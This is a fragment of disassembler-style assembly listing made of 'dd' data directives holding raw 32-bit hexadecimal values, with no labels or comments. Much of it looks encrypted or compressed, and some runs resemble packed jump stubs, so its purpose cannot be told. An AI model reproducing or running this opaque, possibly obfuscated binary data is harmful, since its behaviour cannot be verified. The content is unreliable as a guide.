		dd 0DE72703Eh, 13E054BDh, 0BC47284Bh, 89EFDB91h, 0E4E2B064h
		dd 244AF8BFh, 4B335856h, 3EFEB7B7h, 0BC504618h,	9E1B19E6h
		dd 6D6F3A60h, 0F6CC6048h, 53072C26h, 0B9198587h, 73148553h
		dd 59EDAF7Fh, 9E579D90h, 31B46821h, 824EBBh, 80A60000h
		dd 0DF91B6B0h, 10F1755Bh, 0F084EA44h, 1513E0B5h, 6E703CF0h
		dd 0C7C99549h, 5422EEA2h, 7C648987h, 9F17F116h,	5CD42CE6h
		dd 4C501DA3h, 739336E6h, 1A80427Fh, 99FF5F9Dh, 7F739343h
		dd 0C99F33F5h, 6C92FEFCh, 420B9FA1h, 0A1C6BC8Eh, 32AF68AEh
		dd 0BB312D57h, 4B45153Bh, 0C23EB21Bh, 2ABEACDEh, 3C3Eh
		dd 13E06B00h, 0A1E6734Bh, 8E5A9324h, 9BC0268Ch,	0F51A1CE7h
		dd 6FF5AE10h, 0BE27A4A2h, 0EF1412E0h, 7393D8FBh, 0CAF0FC7Fh
		dd 686633FDh, 61F5DD02h, 4E2BA861h, 68BB3130h, 1, 1214E095h
		dd 6F6939EDh, 0F11DD03h, 52E6B27Bh, 45471399h, 0E9E3B3D9h
		dd 2748DCC4h, 0D33F6437h, 93CF0D73h, 0A7697F73h, 43A30313h
		dd 73933FDDh, 0E377397Fh, 5B8C02CDh, 3D622475h,	42BFB989h
		dd 4F746E3Eh, 0D2D93D61h, 0A7054FEFh, 0F5D9FD13h, 4EB0795Bh
		dd 453F0F95h, 0E7E5B3D9h, 5E2E3253h, 2B513F64h,	602B5D5Fh
		dd 24F4CA5Eh, 0C998BE2Ah, 2EC2AACFh, 47009E65h,	7AF7F1C1h
		dd 5994FA7Fh, 14BBCC1h,	0F0140000h, 460EFC60h, 4F8A1E42h
		dd 980421F4h, 930AD238h, 0A02E7F73h, 0D96DD3D5h, 5EC063C9h
		dd 7032755Bh, 0CDC7974Bh, 827C4C50h, 14B6F5Dh, 0DDA9138Fh
		dd 4B1BF185h, 0C7652C51h, 0BEB8880Eh, 645A2C52h, 0C5B4AFD0h
		dd 0F1C159E6h, 75h, 21FF41Eh, 40907296h, 458147A2h, 0BA79AE15h
		dd 39CD04EFh, 0EE35C329h, 7D3FFF73h, 541EEB11h,	0FB208688h
		dd 9B41A713h, 9DFF73EEh, 8A7E47DBh, 0FF73EE52h,	8D79D6Ch
		dd 9B01E90Eh, 0F8F2C276h, 0D38CEED3h, 9A53B719h, 0B60BB6DAh
		dd 1FD6279Fh, 0CFF4C98Bh, 0D8DF0363h, 0FB58644Ah, 0EE0E24B8h
		dd 8A7F7312h, 0E6385CC8h, 0A6531836h, 7980A135h, 89h, 421F480h
		dd 0B4EF3298h, 0CF91755Bh, 2C26F6AAh, 0E1DBABAFh, 5DAACEBCh
		dd 59107559h, 8B485EF2h, 0FE795BA3h, 0FD23E39Ch, 0C59B2F31h
		dd 8E7EFBF5h, 0C82E9ABBh, 7309D3A1h, 45A511D3h,	25B739DFh
		dd 23AF3B73h, 92EBB966h, 0CD569CFh, 8058BE1Eh, 0B473255Ch
		dd 0B8885EF2h, 39CD99BEh, 1A3B0E80h, 0BDBB88AEh, 0C1CB098h
		dd 772EC7A6h, 0C3E9B179h, 0ECD4F9F3h, 0F752A27Ah, 0A80ED66Dh
		dd 6DF75270h, 0AADC4204h, 0FA77DDDFh, 0AE80A691h, 11DF93B8h
		dd 0A006EE13h, 4E774A0Ch, 0E1ED7CE2h, 0C5877521h, 221CECA0h
		dd 0D7D1A1A5h, 28DBBEB2h, 9163FB5Dh, 0F6C2769Bh, 66052C2Ah
		dd 0AA106414h, 6720BE85h, 24DD55ADh, 57D4CE9Eh,	1D898353h
		dd 4F5F2BF7h, 9476FDEAh, 753666CCh, 9D878527h, 7A2EF78Bh
		dd 0C18DB2A8h, 1EEE742Dh, 4569A724h, 62B17517h,	0C1BF8C28h
		dd 21F1C75Bh, 298F8D5Bh, 34D04h, 87540000h, 190FE03Ah
		dd 767040F4h, 0D0D29D51h, 2E28F7ABh, 8A885509h,	0E6E4B165h
		dd 453B0DC1h, 9EA06C20h, 0F9F7C579h, 8956FFD4h,	4BA52E6h
		dd 1000000h, 0EE835AD6h, 24348704h, 0E289525Ch,	4C281h
		dd 0EA830000h, 24148704h, 240C895Ch, 59C668h, 24048900h
		dd 2DF26368h, 240C8B06h, 4C481h, 8B540000h, 0C4832404h
		dd 0BE565104h, 62A758C1h, 4247429h, 8408F5Eh, 0C1084081h
		dd 0FF62A758h, 83582434h, 0C8B04C4h, 0E7895724h, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 0FA8844E9h, 668698FFh, 1DB85E39h
		dd 3062DF7h, 3AE0FFC5h,	87093C7Ah, 88427D20h, 1745B6E6h
		dd 0E80528C6h, 0Dh, 3BFC8E73h, 0EC230749h, 17AAA640h, 13E9C5h
		dd 0A3710000h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h
		dd 9E95FF3h, 50000000h,	0EAB91BE7h, 0C5010517h,	64B6C781h
		dd 0CE90000h, 0DC000000h, 0EE6D5AEEh, 0B63847B9h, 0BB7E6914h
		dd 1900h, 4F450BAh, 600F8B3Dh, 23C8DB81h, 8D0F4909h, 3
		dd 61C7BF0Fh, 0FBE1E981h, 81665DC9h, 811E55C2h,	0E1261AC1h
		dd 38E0F40h, 0F000000h,	0E981C1BFh, 42C9D89Fh, 14E9h, 97E1DE00h
		dd 6CF91A13h, 6897104h,	8964C7D7h, 6D66F2D3h, 80535142h
		dd 8F5EBFF2h, 0EF83F507h, 7ED28104h, 4B27C7B5h,	0FF9B850Fh
		dd 17E9FFFFh, 0C6000000h, 6765ADh, 24200h, 3 dup(0)
		dd 0EFE90000h, 6800000Bh, 62DFA46h, 0FB4C41E9h,	0FB3968FFh
		dd 37E9062Dh, 68FFFB4Ch, 62DFCC4h, 0FB4C2DE9h, 0FD8568FFh
		dd 23E9062Dh, 68FFFB4Ch, 62DFE18h, 0FB4C19E9h, 0FFDC68FFh
		dd 0FE9062Dh, 68FFFB4Ch, 62E0066h, 0FB4C05E9h, 1A168FFh
		dd 0FBE9062Eh, 68FFFB4Bh, 62E02C2h, 0FB4BF1E9h,	0B0027FFFh
		dd 0CC1295CCh, 0E333B1E8h, 0FE46C8FFh, 1664E31Ah, 53307D32h
		dd 6BA286D4h, 88BFA3E7h, 0A2D9BD07h, 0FAF2D622h, 1D105BACh
		dd 95687CFBh, 388806E1h, 0EDC8835Ah, 1F8D2569h,	0F34F7959h
		dd 1CFAE130h, 750D59D9h, 652F49FFh, 3F93C91Dh, 529E1E61h
		dd 1B63E5C0h, 0FB371583h, 0FB8D6631h, 0D31D9E79h, 0EA3BCD3Bh
		dd 7AD6DC83h, 0FCB593F7h, 7CFEDDBCh, 83C860C4h,	7CFEDF6Ch
		dd 0E37BC546h, 0B34B9114h, 485AD62h, 0C8285029h, 0FBCE496Ch
		dd 32E1h, 11DC8200h, 0D324A638h, 7AD6E598h, 0B49E7CE0h
		dd 0FEF1C963h, 0B34BAF7Ch, 0FEF07B6Eh, 4068417Ch, 0CE6A84E0h
		dd 0A32601FBh, 0A7F1725Dh, 0CFD7C9h, 6F780000h,	234A9BEFh
		dd 577AD6E5h, 0FCD769F3h, 28962E7Eh, 0D870BE3Dh, 269C8C6Ah
		dd 0A5DC3170h, 1BF9E98Fh, 790B59D8h, 0B1B51C3h,	0E0BE3C4Ch
		dd 55A121F0h, 226EEEBDh, 7693913Eh, 7877AD6h, 1EF9D7BBh
		dd 2876F59Ah, 0E535B39Eh, 0F844C407h, 0F933FE60h, 246CA7Bh
		dd 196AE078h, 7AD67ED2h, 0AE38C226h, 7C35CB1Ch,	0E74B7CFEh
		dd 0C94A2503h, 9B79E77Fh, 8F21FAC5h, 0D4DE753Eh, 0FB8DF17Ah
		dd 6F53A120h, 0C76BB938h, 8772FE4h, 9478D3A3h, 29000009h
		dd 3F765AACh, 5B9276BCh, 72A98DDDh, 8DC4A8F0h, 27DCC00Eh
		dd 2C7AF986h, 498D1148h, 63AD2E65h, 7CC8487Fh, 152A098h
		dd 7CFB1FEAh, 6F9A3B0Eh, 0E0BEA2F0h, 5F3D8105h,	6C509C1Ch
		dd 3811DCA1h, 0F1D755A6h, 3DA17CFEh, 0F00960A5h, 5A337CFEh
		dd 51D4AF32h, 0ACFD730Bh, 7CFEF041h, 39CB55B9h,	0FEF085E8h
		dd 0B391F57Ch, 0CE6A9CF8h, 0B911FBh, 6FB20000h,	3C0BA3EFh
		dd 61D76FBDh, 9D6BAFABh, 11EFE239h, 0D668DC58h,	82CE4E7Ah
		dd 65E5C09Eh, 54EC38B8h, 3B7E5CE6h, 75D76FBBh, 0EE3FD1AAh
		dd 7CFE696Ah, 5C260A6Eh, 4B26B891h, 78E67ECCh, 532EB09Ah
		dd 48F28AD0h, 0C17BA7C3h, 0CFAD37A4h, 0D4809E16h, 0E476DA7Ah
		dd 0D4008A09h, 2F150883h, 588F73FDh, 56AA2AD9h,	8571E605h
		dd 24AE1276h, 0D46CBA39h, 7D38DC66h, 1E087781h,	8A1F34Eh
		dd 0B9360000h, 0C94C8367h, 0EA689F83h, 0FD7FB69Ah, 1B9AD1B5h
		dd 7934E9CDh, 53378504h, 7054981Ch, 8A6EB839h, 0A387D353h
		dd 0E10C5DABh, 197CFB1Eh, 0F06FA546h, 787BEA2h,	6F0CD7BBh
		dd 3611A3EFh, 68D66EB2h, 4BCB9A8Ah, 86511BFFh, 5ACA1BADh
		dd 0DE7CFEF3h, 0F2CA2172h, 0CA2E7CFEh, 0B032A840h, 0FEF20C5Fh
		dd 62CC6C7Ch, 9652DA18h, 9BDEBC46h, 0B4EBCF1Bh,	0BB078734h
		dd 3C549931h, 74FBB8BDh, 96D526A8h, 0E2F7B87Bh,	0A5CDA07Eh
		dd 13F743C3h, 78105CDCh, 0B87B3D33h, 0C4EC45F7h, 4DC64E4h
		dd 0FD893834h, 5BDD6FF9h, 0B8FAE30Ah, 0D5B317F7h, 0E839BB99h
		dd 0F7B8FA85h, 70B391F5h, 78C243F0h, 0FFDA5CEEh, 96D5367Ch
		dd 0E2F7B8FAh, 3AB0A07Eh, 0B391E15Fh, 47050AFAh, 0E008BF08h
		dd 32609B51h, 7C660C5Eh, 8FDB5B9Eh, 0A0F474ABh,	0B8781C4Fh
		dd 6EF85CF7h, 0D0A974D6h, 99E1633Eh, 0CBB59301h, 9058967Ah
		dd 58DAB5F1h, 59A52510h, 807553C1h, 0FDDA49E0h,	0F47ED788h
		dd 0A27B4610h, 7DBDBF10h, 44C6EF68h, 6804F8F3h,	0E36000E3h
		dd 41295B4Bh, 2F7D55Fh,	0AFC1069Eh, 93E368C5h, 590F92BAh
		dd 25348426h, 0BC7755C2h, 68384860h, 40ED5h, 0F2F97600h
		dd 427AD6E5h, 7AD6F52Fh, 0D6F6B08Fh, 0F50DC37Ah, 16C9E76Ch
		dd 3F9D793Fh, 0D356A54Fh, 19353CF5h, 0A16C7AD6h, 1FE536C8h
		dd 597CFE16h, 0F96E51F5h, 7141024Ch, 71616h, 0DC2EAB00h
		dd 0F83EC1F8h, 0F5FDD14h, 2A72F42Bh, 42900F46h,	7F04A95Eh
		dd 97CEB200h, 0B4EBCF13h, 0CE05E933h, 261E024Eh, 196487D8h
		dd 0C1947CFBh, 0A3EF6F20h, 0FDDEA90Bh, 0D6E541ACh, 0CB55B97Ah
		dd 1DFFE839h, 177B7CFBh, 64418A33h, 0DD2EC099h,	7AD311AFh
		dd 2E78F9D4h, 554A2896h, 0E35598E9h, 41A57680h,	0C6EC0DB7h
		dd 0D9D9E1DFh, 52A3350Eh, 0C749AF2Eh, 0D436CE32h, 0C39E3009h
		dd 301AF842h, 654D3AEh,	6922006Eh, 0BD2192BDh, 257BFABFh
		dd 0D16299D4h, 0F37DE1B2h, 0A5BED5Bh, 0B2D162E3h, 9729B317h
		dd 0CF03CBCh, 2AA855D5h, 0F4F748DAh, 4B2D162h, 577216A0h
		dd 6CC42B74h, 655419Ch,	6DEA0000h, 7D00371Bh, 9E1C5337h
		dd 0B1336A4Eh, 0CF4E8569h, 0C5E89D81h, 7EB39B8h, 24084CD0h
		dd 3E226CEDh, 573B8707h, 0ADC0115Fh, 0CD7CFB18h, 11DC59FAh
		dd 850F53D7h, 0F3B2A2F3h, 52B67CFEh, 71C244BAh,	7CFEF27Ah
		dd 0F93C1A7Eh, 44952D79h, 23EE678Fh, 0FD67B84Ah, 7B7AD6E4h
		dd 64EE32B6h, 0CB9CD380h, 0CD207686h, 4C7686CBh, 0C516A881h
		dd 70AB33DCh, 175CF458h, 68A8C2D7h, 89CD512Ch, 3D00F2ABh
		dd 36B69757h, 148D46EAh, 7A4A0EA2h, 5C21Fh, 88DA5700h
		dd 0A4EA6DA4h, 0BB0B89C0h, 0D61EA0D7h, 0EE3CBBF2h, 2B58550Ah
		dd 437A5EACh, 60977BBFh, 7AB195DFh, 0D2CAAEFAh,	1B383384h
		dd 6D407CFBh, 3811DCCCh, 98D324A6h, 0E07AD6E5h,	63B49E7Ch
		dd 7CFB1D72h, 2BFA92F6h, 9D7B5FABh, 0A1F23EC2h,	7CFB1D4Ah
		dd 0E2C04AAEh, 0CE663F0Ch, 4F337FFFh, 0B44C9818h, 538E883Eh
		dd 9BFEE33Eh, 0AEFA7ABDh, 163E9716h, 0D466B232h, 0B8EA0152h
		dd 490E7CFBh, 78E67EC8h, 25D410EEh, 0FBC922C9h,	1913Eh
		dd 11DCDF00h, 0F355A638h, 857CFEC5h, 2F448921h,	557CFEC4h
		dd 9661D4FCh, 76DA2BBDh, 0A7AD6E4h, 0FB3FC39Eh,	5994F563h
		dd 787686A7h, 2D2320ABh, 0F9BE5BDCh, 1DA73175h,	88D95B39h
		dd 7686E465h, 10533195h, 0DDAC4490h, 632D115Dh,	522DBF98h
		dd 0BFA987D1h, 0AEE5326Eh, 3AD23670h, 0AEE7F2F5h, 0C7EFC868h
		dd 36DB5F3Ah, 0F6E16BB5h, 26942C74h, 82318D48h,	56A6EF7Eh
		dd 47000000h, 0A63811DCh, 0FEF1D755h, 7CF6AC7Ch, 20A1700Ah
		dd 9BE56651h, 0B5CC8BDh, 7CFEA8E0h, 0FAFDDEFh, 0FF9CE76Eh
		dd 0E82CB09Bh, 0C058E250h, 0A4EE6F4Ah, 3F9D03DEh, 99777701h
		dd 0FE3189E0h, 0B2DAB37Ch, 0CDAC025Eh, 0B277FBh, 83050000h
		dd 0FE2D3B32h, 0FDDB3F7Ch, 0A3EF6F26h, 6FBD3C0Bh, 8DAB61D7h
		dd 0D9FEBF95h, 0B8BCEACh, 0D85827BFh, 39FBA88Ch, 0F17AD651h
		dd 77412571h, 0F041D3ACh, 7CFCF232h, 9BE56641h,	350207D5h
		dd 0D7B50FC3h, 11EC7EE2h, 0D7B24492h, 0EF2B0959h, 8E339B8h
		dd 93DA3B89h, 0E77CFD17h, 0C4F4BD83h, 0A0076866h, 0D26B7216h
		dd 0B080024Fh, 3FE55h, 0C4169300h, 0E026A9E0h, 0F747C5FCh
		dd 125ADC13h, 2A78F72Eh, 671C9146h, 7FB69AE8h, 9CD3B7FBh
		dd 0B6EDD11Bh, 0E06EA36h, 1A7C6FC0h, 0A97C7CFBh, 0A2F06F08h
		dd 0BB0787BEh, 81CF4E29h, 0AE8967A3h, 2E05E32Dh, 11A3EF6Fh
		dd 0E52F3E8Fh, 0E74B7AD6h, 0CA4A1909h, 0E1BC9A7Eh, 0D7B1363h
		dd 0F6F9582Fh, 467AD665h, 7AD66523h, 40D2AB76h,	0FB9D86EFh
		dd 861E827Ch, 0EE805924h, 0D0924B9Dh, 0A549AD7Ah, 87A7442h
		dd 7492EDBDh, 9000003h,	1F563A8Ch, 3B72569Ch, 52896DBDh
		dd 6DA488D0h, 7BCA0EEh,	0C5AD9A6h, 296DF128h, 438D0E45h
		dd 5CA8285Fh, 0E1328078h
		dd 7CF8E58Ah, 6F7A1BEEh, 950BA3EFh, 0FED3BBAh, 1C004CCCh
		dd 1CAE8752h, 0FEE4EDCBh, 972F937Ch, 0FEE71F52h, 244C257Ch
		dd 0CE8170CCh, 50E5FBh,	0DC860000h, 0CBA63811h,	3620FE4Ch
		dd 0FEF147E5h, 35CD317Ch, 88873DBFh, 0E6813E45h, 0A15994F5h
		dd 5BAC7CFEh, 7CFEA110h, 0FB670468h, 0FEA143AAh, 0C953B77Ch
		dd 0A13F32EBh, 2C057CFEh, 3B50AC04h, 0D4C5FBCEh, 53000000h
		dd 0DD6D80D1h, 298D7CFEh, 0EF6F744Bh, 0BD3C0BA3h, 0DF61D76Fh
		dd 0E5E10C5Dh, 0B5197AD6h, 0D6E51954h, 1B9C617Ah, 266947D1h
		dd 4CC25AA6h, 0FA7EF71h, 80C3A1h, 123D0B4h, 727AD6E1h
		dd 35CD1597h, 1458DCC7h, 0ED300E7Ch, 5F3D216Dh,	0CDB80484h
		dd 0F967FF4Fh, 0C58D81Bh, 6E471274h, 0CE318BDCh, 0A7477CFEh
		dd 0E99469DAh, 0E430B00Ah, 0CA54DE4Ch, 78511CE6h, 0E99795E6h
		dd 7DE17AD4h, 439110EBh, 22A6815Fh, 18B0FE7Dh, 0FF4220AAh
		dd 638E3280h, 0B008773Bh, 23985E0h, 51CE0000h, 61E41BFFh
		dd 8200371Bh, 95174E32h, 0B332694Dh, 0E1CC8165h, 0EBCF1D9Ch
		dd 8EC30B4h, 220650D1h,	3B1F6BEBh, 49A4F543h, 0B17CF8E4h
		dd 0F06F3DDEh, 787BEA2h, 0DC0CD7BBh, 55A63811h,	7CFEF1D7h
		dd 1359DCA1h, 0EB830D7Bh, 0FEF043A6h, 9CEA697Ch, 6DB13504h
		dd 0F97C67D5h, 0C94C1BB3h, 107DEB83h, 0DBB6335Bh, 2A86DA02h
		dd 9FFBCE6Bh, 125h, 0E2BB772Dh,	4BCE5D31h, 0EF6F966Dh
		dd 0BD3C0BA3h, 772DC533h, 0C8BBA3Eh, 12AA34BEh,	4E2CE69Ch
		dd 5771A3A0h, 0C5A3E96Ch, 0D633280Ch, 3682027Ah, 9D48C9A4h
		dd 0CB39D11Dh, 49276341h, 327776C7h, 1F837AD6h,	327EFE41h
		dd 946D389Ah, 5BA72702h, 8D7755C3h, 0FE1C603Ch,	0B333F87Ch
		dd 7D00CF67h, 3F23AD37h, 3FD1AA75h, 7DA32889h, 0AB19B1FDh
		dd 3EBAC8E5h, 72F47660h, 0FF3DCA21h, 85E8397Ch,	0F57CFF3Dh
		dd 0AF2FF491h, 0D35DCB63h, 9F533CF5h, 83E77AD5h, 499716F1h
		dd 2BAC8765h, 0FDDB49E1h, 49ED3BBAh, 87867B2h, 184AA575h
		dd 0AD000001h, 0C3FADE30h, 0DF16FA40h, 0F62D1161h, 11482C74h
		dd 0AB604492h, 0B0FE7D02h, 0CD1195CCh, 0E731B2E9h, 4CCC03h
		dd 85D6241Ch, 7CF8E766h, 0C81EBF92h, 3013BC12h,	0C4A243F6h
		dd 22B40281h, 0E57DC547h, 7F5D9977h, 0FF41ACFDh, 55B97AD6h
		dd 60B43477h, 0D6FFDC0Fh, 97D6277Ah, 0E37AD6FFh, 937EE27Fh
		dd 0C02EC614h, 99745236h, 94849119h, 9E6AEA36h,	300E7C14h
		dd 0A3EF6F59h, 0FBC3C0Bh, 28BA448Eh, 0E981CD4Dh, 97619D7Bh
		dd 1061F3CCh, 7CFB1DA3h, 0DCAB43A7h, 4E2C105Ch,	1C707BCCh
		dd 24887CFBh, 6A68F25Eh, 331183E5h, 0CB1C70F0h,	7CFBC5A0h
		dd 52EA74D8h, 0B06CB20Dh, 93E9681Dh, 0AE2F2B42h, 61EB4F1Dh
		dd 3078FAC9h, 98C01998h, 0FDD8A411h, 8154327Ch,	77FF7F59h
		dd 812AC6BCh, 12FAB9D6h, 2A78E6ACh, 0AAFC3274h,	28C741Ch
		dd 0DD5D9478h, 0A82AF991h, 0F445C860h, 0EA6A45CCh, 0BA98069Eh
		dd 0C7ABF777h, 2CC41090h, 0AD1h, 0BE3E1900h, 8E6CDA72h
		dd 6FB56CB7h, 3908A0F2h, 6D56DB9h, 0D4A33B85h, 0A5740C50h
		dd 7140D826h, 3D0CA4F2h, 0CDB73BBh, 0D7A63E8Eh,	0ED760E54h
		dd 1E7C68h, 242C8900h, 69B468h,	24348900h, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	68241C89h, 3AFh, 0B8240489h, 71BB059Fh
		dd 8D0CAF2Dh, 58C6896Bh, 161368h, 24248900h, 4240481h
		dd 5B000000h, 8B850h, 0D8010000h, 48B3089h, 4C48324h, 50241C8Bh
		dd 405E089h, 83000000h,	48704C0h, 348B5C24h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 4060E95Ch, 1FDBFFFBh
		dd 0FFB85E5Bh, 3062E03h, 82E0FFC5h, 1F02A5B6h, 0F82E3D60h
		dd 0EB4BFFCEh, 5960CCCAh, 0FD71C843h, 334CD59h,	16538313h
		dd 8D32CD74h, 2E05918Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 89A0AD3Dh, 2807158Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 12A9A9FEh, 54FB5BAAh, 81663337h,	0C799A1F2h
		dd 2821BD85h, 708406h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 3996ABA6h, 0E997472Eh
		dd 0C2BB0DD9h, 89290448h, 280849BDh, 99BD8B06h,	0C7062832h
		dd 28113D85h, 6, 0DB50300h, 89062821h, 2807C5B5h, 45B5FF06h
		dd 6A06281Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 7584C352h, 425FE4EBh, 0FF1473BEh
		dd 2814D995h, 6AC68B06h, 6595FF00h, 8B062804h, 1468EBC0h
		dd 0F6EC19A3h, 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 4518081Bh
		dd 23E42FF4h, 0B957863Bh, 326C5F6Eh, 0C2375D03h, 7139A374h
		dd 0B0739AA4h, 2E049393h, 0D1C6E24h, 50160E6Bh,	45DA41B9h
		dd 8C1B2CBEh, 7211729Dh, 9554E1DDh, 9BFB40F7h, 0FB683753h
		dd 85F74023h, 7FCD8E12h, 0B91486E6h, 0A510A3FDh, 1641DD92h
		dd 0E924A331h, 0E0h, 3324B4E8h,	0CA459CD7h, 0B6E1C8C3h
		dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h
		dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h,	7594A196h
		dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh
		dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h
		dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h
		dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h,	0ABF79B57h
		dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh
		dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h
		dd 47000000h, 0E3129D74h, 5E99E0h, 0Ah dup(0)
		dd 1520E9h, 8D26800h, 0EAE9062Eh, 68FFFA78h, 62E09CAh
		dd 0FA78E0E9h, 0AAD68FFh, 0D6E9062Eh, 68FFFA78h, 62E0BCFh
		dd 0FA78CCE9h, 0C7C68FFh, 0C2E9062Eh, 68FFFA78h, 62E0D1Fh
		dd 0FA78B8E9h, 0DC968FFh, 0AEE9062Eh, 68FFFA78h, 62E0E58h
		dd 0FA78A4E9h, 0F2D68FFh, 9AE9062Eh, 68FFFA78h,	62E1071h
		dd 0FA7890E9h, 117568FFh, 86E9062Eh, 68FFFA78h,	62E12FDh
		dd 0FA787CE9h, 141C68FFh, 72E9062Eh, 68FFFA78h,	62E1556h
		dd 0FA7868E9h, 167D68FFh, 5EE9062Eh, 68FFFA78h,	62E18B6h
		dd 0FA7854E9h, 19AD68FFh, 4AE9062Eh, 4EFFFA78h,	60A877Dh
		dd 0B9BD3A38h, 6A6EEBEDh, 2125A298h, 0D6D95654h, 6E6C3988h
		dd 241EEDF1h, 0D6D8A3A7h, 8B855559h, 0F258E80Eh, 795D942Ah
		dd 0E0067B4Eh, 3DF11610h, 0D1076D6Dh, 637F7393h, 0ABCF3BA1h
		dd 8673BB61h, 0B3D4685Ch, 857F4F75h, 22E47860h,	0C28C5A4Fh
		dd 0E9D1F6F4h, 10765E83h, 0AA533EA4h, 9355755Bh, 0A9A67A6Eh
		dd 0DB21795Bh, 65D4A522h, 3BE2C159h, 0F000000h,	980421F4h
		dd 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 0E08D879h,	6B6535E9h
		dd 0C5C79246h, 0F355B8A0h, 0C90F803Ah, 44E69310h, 0D6D0C159h
		dd 28000000h, 0B2BA62C8h, 0FCBE795Bh, 46A62D68h, 739338E0h
		dd 0E67A3C7Fh, 21464010h, 7DA2A06Dh, 0DAFFF9C9h, 0F05C5626h
		dd 0D8FDFFCAh, 0F73B5CF0h, 7F738E0Fh, 0AC2923F3h, 7D7B486Eh
		dd 7D4313E9h, 0A38BB0B2h, 0DBABD13Dh, 372AB1E1h, 6EA616B6h
		dd 9E7111DAh, 7BE1D7A9h, 5506A90Fh, 0B078755Bh,	5B54924Ah
		dd 4C8CF279h, 0E8795B54h, 46AC6E26h, 0DD06D9C9h, 0E9770B71h
		dd 4B0D7375h, 0EEECB9DFh, 9CA06D71h, 20FEE636h,	34049273h
		dd 6ED43Ah, 0B40F78D1h,	8C0BC29Dh, 0E000012h, 0C6CA473Dh
		dd 797DFAF8h, 2A2EABADh, 0E1E56258h, 96991614h,	2E2CF9C8h
		dd 0E4DEADB1h, 96986367h, 4B451519h, 0B218A8CEh, 795D9B6Ah
		dd 0E0C63B0Eh, 807A4913h, 900D735Bh, 45C2BC8Ch,	0B782A6DCh
		dd 0C117CBEAh, 6E410397h, 0E8B3D945h, 0DC4252E6h, 755B0A7Dh
		dd 6B319FC3h, 577C7E49h, 0E3D83F6Fh, 0FCBE1AAEh, 0F5C3E9D7h
		dd 0F9F7C5F7h, 138D4F65h, 0B0F6795Bh, 0AEFF7AF7h, 0C1B7C159h
		dd 0F000000h, 0F81D1BE9h, 557A7444h, 3873076Dh,	502046A6h
		dd 9334E456h, 7E407F73h, 4A4414EAh, 0A6A47125h,	8E618D81h
		dd 0B9897F73h, 6E3E42BFh, 0DCAF4F74h, 59254BB7h, 0DE443257h
		dd 7F73963Eh, 7E12783Ah, 95A5086Eh, 15D7755Bh, 0B9B383A9h
		dd 41140425h, 4352B824h, 65737539h, 441137A3h, 2B8BC946h
		dd 213917C5h, 0CB5F2173h, 0BC2A28F5h, 0B40EBFAFh, 94BD744Fh
		dd 16000011h, 0CED24F45h, 81850200h, 3236B3B5h,	0E9ED6A60h
		dd 9EA11E1Ch, 363401F0h, 0ECE6B5B9h, 9EA06B6Fh,	534D1D21h
		dd 0BA20B0D6h, 795D9A62h, 0A6CE4316h, 8F7B0382h, 50EAAAB2h
		dd 469CCC27h, 0E0B64AD1h, 94981513h, 0E44DCAC4h, 0F11610E0h
		dd 7736D3Dh, 4CAAB8E3h,	936128B3h, 22887095h, 9D696D8Eh
		dd 0F2C2769Bh, 0EE7C7BF8h, 46B2D3A6h, 0F6F0C0E6h, 3F55E9D1h
		dd 755BDC78h, 8C4CB27Ah, 30795BF4h, 8BA4590Ah, 8B4D054Fh
		dd 0A0739925h, 6C62D5E1h, 0AA107C99h, 88E9D9A3h, 47A713D5h
		dd 0A9093BE1h, 0E77B3D7Ch, 8AAB7E1Eh, 0FEDCB81Eh, 34C07684h
		dd 90AB37FBh, 3CA80E8Fh, 0E04C4616h, 0CDF2E8BAh, 2C3051E5h
		dd 26F65C5Ch, 5275759Eh, 9EF4248Ah, 0BE807575h,	8184F258h
		dd 0DB25A18h, 10B17B32h, 62330000h, 1DEBEF6Ch, 0D29EA21Fh
		dd 7D4F53D0h, 39060A87h, 0EFBBBE3Bh, 0D653511Eh, 8C0903D2h
		dd 3EBBBD88h, 0F3706A3Ah, 1D73DCDh, 33795D99h, 10E0EB60h
		dd 9372AA10h, 3D8E7F73h, 27A36D9Ch, 9E3BC77Fh, 0E4656A0h
		dd 0CDF258BEh, 0CD395A2Dh, 5B060867h, 2BA86A75h, 0DF4B683Bh
		dd 8D8B597Fh, 0D6EC8068h, 737321FFh, 3E325719h,	7323279Ah
		dd 69E69FE5h, 0C781E310h, 35A6h, 21F4D300h, 40329804h
		dd 24755B44h, 5D0F662h,	9C428603h, 0EC795BC3h, 24C7EAC8h
		dd 0D76B70F5h, 0BA373101h, 7DE3EBB6h, 795BB75Fh, 8CB117D9h
		dd 1002D5h, 21F4DC00h, 41F5B13Ah, 23898A11h, 57DD51B7h
		dd 73FF7521h, 71C8999Ch, 950167B0h, 0AD99F6Fh, 10767844h
		dd 0FFD103EBh, 2226A309h, 93335852h, 0D137A3C0h, 730F4708h
		dd 82845076h, 64D092EEh, 8746E3Eh, 0F11614E2h, 50547509h
		dd 0F61A8680h, 0ECBE4DAAh, 0B9E9D1F6h, 0BB4FCA6Bh, 567F52F2h
		dd 7B2584EAh, 8D4F7907h, 0D8FD161Fh, 0CC39EAAh,	0F8Fh
		dd 0CD4A4011h, 80FDFBC9h, 31AEB07Ch, 0E8655B2Dh, 9C1917E4h
		dd 2FFCCD99h, 0E1B0B431h, 9B666AE7h, 48181C99h,	1BABD14Eh
